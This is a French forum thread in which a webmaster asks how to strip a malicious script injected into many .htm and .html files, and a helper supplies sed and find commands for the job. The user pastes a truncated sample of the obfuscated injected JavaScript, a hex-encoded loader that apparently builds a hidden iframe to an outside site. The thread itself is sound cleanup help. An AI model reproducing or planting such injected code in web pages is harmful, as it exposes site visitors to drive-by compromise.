Cherche une commande

Sandra2012 Messages postés 40 Date d'inscription   Statut Membre Dernière intervention   -  
zipe31 Messages postés 36402 Date d'inscription   Statut Contributeur Dernière intervention   -
Bonjour,

Je cherche une commande pour supprimer une phrase de tous les fichiers qui existe dans mon site ..

En fait un code malveillant a été injecté (c le même code) dans plusieurs fichiers de mon site , je souhaite les supprimer à la fois , mais je trouve pas la commande sur Internet

Merci d'avance
A voir également:

7 réponses

zipe31 Messages postés 36402 Date d'inscription   Statut Contributeur Dernière intervention   6 430
 
Salut,

Normalement "sed" devrait pouvoir t'aider à faire ça.

Par contre un exemple concret serait le bienvenu afin de ne pas faire de bêtises ;-)
0
Sandra2012 Messages postés 40 Date d'inscription   Statut Membre Dernière intervention  
 
Merci mais je souhaite avoir la commande exacte svp......
0
zipe31 Messages postés 36402 Date d'inscription   Statut Contributeur Dernière intervention   6 430
 
Sans exemple ça va être difficile ;-(

Mais en attendant tu peux toujours jeter un oeil à la FAQ sur sed...
0
Sandra2012 Messages postés 40 Date d'inscription   Statut Membre Dernière intervention  
 
J'ai déjà vu ça :/ tous ces faq montre comment supprimer une phrase depuis un fichier spécifique mais moi je cherche à faire la suppression depuis tous les fichiers qui existe sur le serveur.

Voici le code que je cherche à supprimer
--------------
<script type="text/javascript" language="javascript" >




ypzsp="s"+"p"+"li"+"t";kcy=window;wrqrd="dy";uwmz=document;k
epbv="0x";tfpdlx=(5-3-1);try{++(uwmz.body)}catch(utimwd){ehy
y=false;try{}catch(asua){ehyy=21;}if(1){twp="17:5d:6c:65:5a:
6b:60:66:65:17:66:6e:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a
:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5
a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:6
7:1e:32:4:1:17:6d:58:69:17:66:6e:17:34:17:5b:66:5a:6c:64:5c:
65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:
69:58:64:5c:1e:20:32:4:1:4:1:17:66:6e:25:6a:69:5a:17:34:17:1
e:5f:6b:6b:67:31:26:26:6e:6e:6e:25:6b:5c:6a:6b:24:5e:5c:60:5
c:25:5c:6c:26:5d:48:3a:69:68:51:50:70:25:67:5f:67:1e:32:4:1:
17:66:6e:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:
------------
0
zipe31 Messages postés 36402 Date d'inscription   Statut Contributeur Dernière intervention   6 430
 
Cette partie est toujours encadrée par des
--------------
?
Là ton texte est sur plusieurs lignes, c'est bien le cas aussi dans tes fichiers ?

Pourrais-tu mettre un vrai fichier sur cjoint afin qu'on puisse bien évaluer le format et concocter une commande en rapport ?
0
Sandra2012 Messages postés 40 Date d'inscription   Statut Membre Dernière intervention  
 
Je vous ai mis le code malveillant dans le fichier code.txt
http://www.cjoint.com/confirm.php?cjoint=CIlkUcRUHI7

Si vous avez un Antivirus il va le bloquer :/

(C'est moi qui a mis les ------ le code ne les contient pas )

Grand Merci
0
zipe31 Messages postés 36402 Date d'inscription   Statut Contributeur Dernière intervention   6 430
 
Pas d'antivirus sous GNU/Linux ;-)

Normalement avec cette simple commande :
sed -i '/^<!--32f02e-->/d' fichier
Ça devrait le faire. Donc à essayer sur un fichier de test (une copie d'un vrai fichier entier).

Si ça marche on avisera pour appliquer la commande à un ensemble de fichiers récursivement.

On peut rajouter à l'option "-i" le paramètre ".bak" afin de créer une sauvegarde du fichier original :

sed -i.bak '/^<!--32f02e-->/d' fichier
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
Sandra2012 Messages postés 40 Date d'inscription   Statut Membre Dernière intervention  
 
Vous êtes parfait Zipe 31 , Grand Merci :)))))))))
Comment appliquer ça pour tous les fichiers svp? :)
0
zipe31 Messages postés 36402 Date d'inscription   Statut Contributeur Dernière intervention   6 430
 
Quelle est l'extension des fichiers à traiter ? Toutes ou juste certaines extensions ?
0
Sandra2012 Messages postés 40 Date d'inscription   Statut Membre Dernière intervention  
 
la plupart est en .htm et .html ....
0
zipe31 Messages postés 36402 Date d'inscription   Statut Contributeur Dernière intervention   6 430
 
Deux solutions :

cd /chemin/racine
find . -type f \( -name '*.htm' -o -name '*.html' \) -exec sed -i '/^<!--32f02e-->/d' {} \;

ou

cd /chemin/racine
shopt -s globstar
sed -i '/^<!--32f02e-->/d' ./**/*.{htm,html}

Je ne peux garantir le résultat à 100% ni même d'éventuels effets indésirables (suppression de code bon ou autre) ;-\
0
Sandra2012 Messages postés 40 Date d'inscription   Statut Membre Dernière intervention  
 
Elle na pas fonctionné :(

Merci quand même
0
zipe31 Messages postés 36402 Date d'inscription   Statut Contributeur Dernière intervention   6 430
 
Laquelle ?

As-tu fais plusieurs essais de la 1ère commande que je t'ai donnée ici sur plusieurs fichiers différents ?

Pour la commande "find", tu peux essayer ceci :
cd /chemin/racine
find . -type f \( -name '*.htm' -o -name '*.html' \) -exec echo "sed -i '/^<\!--32f02e-->/d' {}" \;
Et voir déjà si ça renvoie quelque chose sur la sortie standard (l'écran).
0